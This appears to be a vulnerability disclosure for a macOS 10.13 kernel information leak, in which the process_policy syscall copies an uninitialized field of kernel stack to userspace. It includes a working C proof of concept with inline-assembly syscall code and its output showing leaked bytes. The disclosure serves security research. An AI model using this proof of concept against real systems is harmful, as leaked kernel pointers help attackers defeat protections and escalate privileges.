macOS - 'process_policy' Stack Leak Through Uninitialized Field

/*
The syscall
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.

The call graph looks as follows:

process_policy
  handle_cpuuse
    proc_get_task_ruse_cpu
      task_get_cpuusage
        [writes scope=1/2/4/0]
        [always returns zero]
      [writes policyp if scope!=0]
      [always returns zero]
    copyout


If task_get_cpuusage() set `*scope=0` because none of the flags
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.


Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:

$ cat test.c
*/

#include <stdint.h>
#include <stdio.h>
#include <inttypes.h>

struct proc_policy_cpuusage_attr {
  uint32_t ppattr_cpu_attr;
  uint32_t ppattr_cpu_percentage;
  uint64_t ppattr_cpu_attr_interval;
  uint64_t ppattr_cpu_attr_deadline;
};

void run(void) {
  int retval;
  struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
  asm volatile(
    "mov $0x02000143, %%rax\n\t" // process_policy
    "mov $1, %%rdi\n\t"   // PROC_POLICY_SCOPE_PROCESS
    "mov $11, %%rsi\n\t"  // PROC_POLICY_ACTION_GET
    "mov $4, %%rdx\n\t"   // PROC_POLICY_RESOURCE_USAGE
    "mov $3, %%r10\n\t"   // PROC_POLICY_RUSAGE_CPU
    "mov %[userptr], %%r8\n\t"
    "mov $0, %%r9\n\t"    // PID 0 (self)
    // target_threadid is unused
    "syscall\n\t"
  : //out
    "=a"(retval)
  : //in
    [userptr] "r"(&attrs)
  : //clobber
    "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
  );
  printf("retval = %d\n", retval);
  printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
  printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
  printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
  printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
}

int main(void) {
  run();
  return 0;
}

/*
$ gcc -Wall -o test test.c
$ ./test
retval = 0
ppattr_cpu_attr = 0x1a180ccb
ppattr_cpu_percentage = 0x0
ppattr_cpu_attr_interval = 0x0
ppattr_cpu_attr_deadline = 0x0

That looks like the lower half of a pointer or so.
*/